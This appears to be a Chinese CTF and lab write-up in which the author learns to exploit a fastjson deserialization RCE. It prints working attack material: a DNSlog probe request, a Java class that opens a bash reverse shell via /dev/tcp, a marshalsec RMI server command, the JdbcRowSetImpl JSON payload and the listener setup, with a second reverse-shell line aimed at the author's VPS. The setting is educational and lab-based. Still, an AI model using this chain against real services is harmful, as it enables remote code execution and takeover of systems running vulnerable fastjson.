dirsearch 扫描到后台,可以直接进,不过只能在 burp 里面,因为浏览器会跳转
b3CRFf.md.png
其中发现http://124.71.187.127:20012/admin/download.jsp?filename=lib.zip
下载到文件
看 dalao 战队的 wp 说这 lib 是依赖文件

解压看到
关键点在fastjson-1.2.48.jar
真的就是随便百度一下就能查到
有漏洞呀红队武器库:fastjson 小于 1.2.68 全漏洞 RCE 利用 exp

原来破题点在这里,我还以为得 jd-gui 反编译后来审计呢
那么多代码,一般不可能是自己审计的,网上可能已经有公布这个的漏洞了喔

不过,就是说,你查到了也得知道那个漏洞怎么用呀
或许这个官方的 wp 说得更清楚

大佬快教我学会如何用 poc 打 flag

看到了两个 jndi 工具
https://github.com/wyzxxz/jndi_tool
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
不会复现呀!!!
buu 上找到类似的题模拟一下

[FastJson]1.2.24-rce

首先是个脚本小子,看过程时太深奥的原理都别琢磨
最开始是这样

构造 dnslog 盲打

1
2
3
4
5
POST / HTTP/1.1
Content-Type: application/json
Content-Length: 68

{"zeo":{"@type":"java.net.Inet4Address","val":"trre3y.dnslog.cn"}}

bY82Z9.md.png
好诶,原来 poc 是这样用的
虽然我有自己服务器,但是要反弹 shell 的话,还是有点麻烦,先在本地搭建一下靶场吧

volfocus 靶场复现

靶场设在本地,所以可以访问到我的内网 kali,因此无需配置公网 ip

在 kali 上
写入内容如下的 java 文件,命名为test.java,使用命令javac test.java生成test.class

文件名 test 要与文件内容中的 class 名相同
不然会报错,提醒你修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
String str = "";
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "/bin/bash -i >& /dev/tcp/192.169.64.129/55555 0>&1"};//反弹shell
Process pc = rt.exec(commands);
pc.waitFor();
}catch (Exception e) {
// do nothing
}
}
}

起一个临时 http 服务,接收 shell 的机器是 192.168.64.129,监听 4567 端口

1
python3 -m http.server 4567

同样在 kali 上,使用 marshalsec-0.0.3-SNAPSHOT-all.jar 起一个 9999 监听端口

1
java --illegal-access=warn -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  "http://192.168.64.129:4567/#test" 9999

使用 burp 发送 payload,并在 kali 上 nc -lvnp 55555,接收 shell

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: 172.24.8.125:8090
********************************************************
Content-Type: application/json
Content-Length: 159
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.64.129:9999/test",
"autoCommit":true
}
}

然后会出现这种破事???

上网查了一下好像是 java 版本的问题

看来还是不能用 kali 自带的 openjdk,得去 Oracle 官网上下载 jdk,来配置到 kali 上
kali2.0 卸载 openjdk,并安装 java 1.8 jdk
kali 中安装多版本 jdk
由这两篇博客,配置了两个不同版本的 java
以后通过这条命令就可以更换 java 版本update-alternatives --config java

重新来一遍,使用 burp repeater GOGOGOGO!!!
bYcFjH.md.png
这是在 vulfocus 搭的靶场,没有 flag 这一说

小总结

原来远程代码执行是这么个回事
以后看了别人的 wp 不会一头雾水了
关键点还是在写java文件and在burp上构造+绕waf发json请求

回过头来用公网服务器来做 buu 吧

要做公网 ip 的服务器,还没有 zsh,空空
我得一点一点下载过去喔,挺麻烦的

有空了,继续做
安装Oracle jdkmvn,在 git clone 一个marshalsec
写个 java 文件,编译成 class,
python3 -m http.server 7777

哎呀呀呀呀
要给服务器开放端口,不然都不然我反弹 shell
在阿里云控制台那里开 9999、1234、7777 三个要用的端口
在宝塔面板开 9999、1234、7777 三个在这个地方也开起来

差点绷不住了
这句才可以反弹

1
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vps/9999 0>&1"};

进去后又找不到 flag

经过这一次折腾,我的服务器,总算是配置好了

有 9999,7777,1234 这几个端口可用


2. 补充一下原理

  • SerializerFeature.WriteClassName属性,json 中包含了@type
  • json 数据可控时,@type+指定某个具体的类,反序列化出任意对象
  • 公网 ip 上搭建RMI服务
  • ………………………………